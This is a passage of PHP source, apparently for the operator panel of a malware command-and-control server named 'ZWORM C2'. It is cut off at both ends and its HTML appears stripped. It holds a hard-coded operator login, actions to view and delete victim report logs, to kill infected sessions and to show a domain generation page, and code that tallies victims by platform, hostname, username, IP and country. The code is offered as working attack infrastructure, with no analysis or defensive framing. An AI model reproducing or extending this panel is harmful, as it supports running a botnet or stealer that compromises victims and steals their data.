['password' => 'admin123', 'role' => 'admin', 'permissions' => ['view','delete','kill','config']]]; if (!isset($_SESSION['auth'])) { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password'])) { $user = $_POST['username'] ?? 'admin'; if (isset($OPERATORS[$user]) && $OPERATORS[$user]['password'] === $_POST['password']) { $_SESSION['auth'] = true; $_SESSION['user'] = $user; $_SESSION['role'] = $OPERATORS[$user]['role']; $_SESSION['perms'] = $OPERATORS[$user]['permissions']; } } if (!isset($_SESSION['auth'])) { show_login(); exit; } } $action = $_GET['action'] ?? 'dashboard'; switch ($action) { case 'logout': session_destroy(); header('Location: ?'); exit; case 'log': show_log($_GET['file'] ?? ''); exit; case 'delete': if (has_perm('delete')) { delete_log($_GET['file'] ?? ''); } header('Location: ?action=dashboard'); exit; case 'api': header('Content-Type: application/json'); echo json_encode(get_stats()); exit; case 'sessions': show_sessions(); exit; case 'kill_session': if (has_perm('kill')) kill_session($_GET['id'] ?? ''); header('Location: ?action=sessions'); exit; case 'kill_all': if (has_perm('kill')) kill_all_sessions(); header('Location: ?action=sessions'); exit; case 'config': if (has_perm('config')) show_config(); exit; case 'dga': show_dga(); exit; default: show_dashboard(); exit; } function has_perm($p) { return isset($_SESSION['perms']) && in_array($p, $_SESSION['perms']); } function show_login() { ?> ZWORM C2 — Login 0, 'windows' => 0, 'linux' => 0, 'android' => 0, 'today' => 0, 'active_sessions' => 0, 'total_size' => 0, 'reports' => []]; $today = date('Y-m-d'); $ips = []; if (is_dir($LOG_DIR)) { foreach (glob("$LOG_DIR/*.json") as $f) { $d = json_decode(file_get_contents($f), true); if (!$d) continue; $stats['total']++; $p = $d['platform'] ?? 'windows'; if (isset($stats[$p])) $stats[$p]++; $ts = substr($d['timestamp'] ?? $d['received_at'] ?? '', 0, 10); if ($ts === $today) $stats['today']++; $ip = $d['ip'] ?? $d['public_ip'] ?? ''; if ($ip) $ips[$ip] = true; $basename = basename($f); $log_f = str_replace('.json', '.log', $f); $stats['total_size'] += @filesize($log_f) ?: 0; $stats['reports'][] = [ 'file' => $basename, 'platform' => $p, 'hostname' => $d['hostname'] ?? '', 'username' => $d['username'] ?? '', 'ip' => $ip, 'os' => $d['os'] ?? '', 'country' => $d['country'] ?? $d['geo']['cc'] ?? '', 'date' => $d['timestamp'] ?? $d['received_at'] ?? '', 'session' => $d['session_id'] ?? '', ]; } } if (is_dir($SESSION_DIR)) { foreach (glob("$SESSION_DIR/*.json") as $f) { $s = json_decode(file_get_contents($f), true); if ($s && ($s['status'] ?? '') === 'active') $stats['active_sessions']++; } } $stats['unique_ips'] = count($ips); $stats['total_size_fmt'] = format_size($stats['total_size']); return $stats; } function show_dashboard() { $s = get_stats(); $u = $_SESSION['user'] ?? 'admin'; ?> ZWORM C2 — Dashboard